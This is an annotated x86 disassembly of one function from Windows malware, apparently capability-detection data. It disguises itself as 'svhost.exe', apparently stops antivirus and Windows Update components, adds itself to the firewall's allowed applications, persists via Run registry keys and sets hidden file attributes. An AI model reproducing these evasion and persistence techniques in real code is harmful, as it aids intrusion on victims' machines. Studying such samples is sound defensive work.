Function at 0x406fb0
Capabilities:
Check mutex on windows
Create thread
Persist via run registry key
Persist via windows service
Query environment variable
Set file attributes
Set registry value

Disassembly:
sub esp, 0x41c
mov eax, dword [0x4151a8]
mov dword [esp + 0x418], eax
mov eax, dword [0x41513c]
push esi
push eax
call fcn.00401c10
add esp, 4
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
mov dword [esp + 0xc], esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x407015
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [esp + 0x418]
call fcn.004088de
add esp, 0x41c
ret 0x10
push ebx
push ebp
push edi
call fcn.00408380
call section..text
cmp eax, 1
jne 0x407509
push eax
push str.svhost.exe
call fcn.004051a0
add esp, 8
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
push 0x402aa0
push 0
push 0
mov dword [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.YahooAUService
call fcn.00402250
push str.ekrn
call fcn.00402250
push str.MsMpSvc
call fcn.00402250
push str.wuauserv
call fcn.00402250
push 1
push str.YahooAUService.exe
call fcn.004051a0
push 1
push str.ekrn.exe
call fcn.004051a0
push 1
push str.egui.exe
call fcn.004051a0
push 1
push str.msseces.exe
call fcn.004051a0
add esp, 0x30
push 0x104
lea edx, [esp + 0x20]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x1c]
push eax
call fcn.00401e40
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add esp, 4
xor eax, eax
mov dword [esp + 0x14], eax
jmp 0x4070f2
mov eax, dword [esp + 0x14]
test eax, eax
push 0x104
jne 0x40710a
lea ecx, [esp + 0x228]
push ecx
push str._windir_
jmp 0x40712b
cmp eax, 1
jne 0x40711e
lea edx, [esp + 0x228]
push edx
push str._programfiles_
jmp 0x40712b
lea eax, [esp + 0x228]
push eax
push str._public_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea ecx, [esp + 0x224]
push ecx
xor esi, esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
test edi, edi
jle 0x40716d
jmp 0x407150
movsx edx, byte [esp + esi + 0x224]
push edx
call fcn.004087d8
add esp, 4
mov byte [esp + esi + 0x224], al
inc esi
cmp esi, edi
jl 0x407150
mov eax, dword [0x415134]
push eax
call fcn.00401c10
push eax
lea ecx, [esp + 0x22c]
push ecx
lea edx, [esp + 0x12c]
push 0x411bc8
push edx
call fcn.0040905f
add esp, 0x14
lea eax, [esp + 0x120]
push eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
test edi, edi
jle 0x4071cd
lea esp, [esp]
movsx ecx, byte [esp + esi + 0x120]
push ecx
call fcn.004087d8
add esp, 4
mov byte [esp + esi + 0x120], al
inc esi
cmp esi, edi
jl 0x4071b0
lea edx, [esp + 0x120]
push edx
lea eax, [esp + 0x20]
push eax
call fcn.00401d00
add esp, 8
test al, al
jne 0x40735e
mov ecx, dword [0x415134]
push ecx
call fcn.00401c10
push eax
lea edx, [esp + 0x22c]
push edx
call fcn.004023d0
add esp, 0xc
cmp al, 1
jne 0x407366
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x415138]
push eax
mov dword [esp + 0x14], 0
call fcn.00401c10
push eax
lea ecx, [esp + 0x128]
push ecx
push str._s::Enabled:_s
lea edx, [esp + 0x338]
push 0x100
push edx
call fcn.004088ec
add esp, 0x18
push 0
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push 0x80000002
call ebp
lea eax, [esp + 0x328]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x407281
sub eax, ecx
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x32c]
push ecx
push 1
push 0
lea edx, [esp + 0x130]
push edx
push eax
call ebx
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call esi
mov edx, dword [0x415138]
push edx
call fcn.00401c10
push eax
lea eax, [esp + 0x128]
push eax
push str._s::Enabled:_s
lea ecx, [esp + 0x338]
push 0x100
push ecx
call fcn.004088ec
add esp, 0x18
push 0
lea edx, [esp + 0x14]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push 0x80000002
call ebp
lea eax, [esp + 0x328]
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x407310
mov edx, dword [esp + 0x10]
sub eax, ecx
push eax
lea eax, [esp + 0x32c]
push eax
push 1
push 0
lea ecx, [esp + 0x130]
push ecx
push edx
call ebx
mov eax, dword [esp + 0x10]
push eax
call esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x120]
push ecx
call fcn.00401d50
add esp, 4
test al, al
jne 0x407517
jmp 0x407366
mov dword [esp + 0x14], 5
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 3
mov dword [esp + 0x14], eax
jl 0x4070ee
xor edi, edi
push edi
lea edx, [esp + 0x14]
push edx
push edi
push 0xf003f
push edi
push edi
push edi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000002
mov dword [esp + 0x34], edi
call ebp
lea eax, [esp + 0x1c]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4073a0
sub eax, ecx
mov ecx, dword [0x415138]
push eax
lea eax, [esp + 0x20]
push eax
push 1
push edi
push ecx
call fcn.00401c10
mov edx, dword [esp + 0x24]
add esp, 4
push eax
push edx
call ebx
mov eax, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
push edi
lea ecx, [esp + 0x14]
push ecx
push edi
push 0xf003f
push edi
push edi
push edi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000001
mov dword [esp + 0x34], edi
call ebp
lea eax, [esp + 0x1c]
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x407400
sub eax, ecx
push eax
mov eax, dword [0x415138]
lea edx, [esp + 0x20]
push edx
push 1
push edi
push eax
call fcn.00401c10
mov ecx, dword [esp + 0x24]
add esp, 4
push eax
push ecx
call ebx
mov edx, dword [esp + 0x10]
push edx
call esi
push edi
lea eax, [esp + 0x14]
push eax
push edi
push 0xf003f
push edi
push edi
push edi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionTerminal_ServerInstallSoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000002
call ebp
lea eax, [esp + 0x1c]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x407451
mov edx, dword [0x415138]
sub eax, ecx
push eax
lea ecx, [esp + 0x20]
push ecx
push 1
push edi
push edx
call fcn.00401c10
add esp, 4
push eax
mov eax, dword [esp + 0x24]
push eax
call ebx
mov ecx, dword [esp + 0x10]
push ecx
call esi
mov edx, dword [0x41513c]
push edx
call fcn.00401c10
add esp, 4
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
lea eax, [esp + 0x1c]
push eax
call fcn.00401e70
add esp, 4
push 7
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x417000
push 0x202
call dword [0x416070]
test eax, eax
jne 0x407517
lea edx, [esp + 0x14]
push edx
push edi
push edi
push 0x405b00
push edi
push edi
mov dword [esp + 0x2c], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00406860
call dword [0x41729c]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x428]
pop edi
pop ebp
pop ebx
xor eax, eax
pop esi
call fcn.004088de
add esp, 0x41c
ret 0x10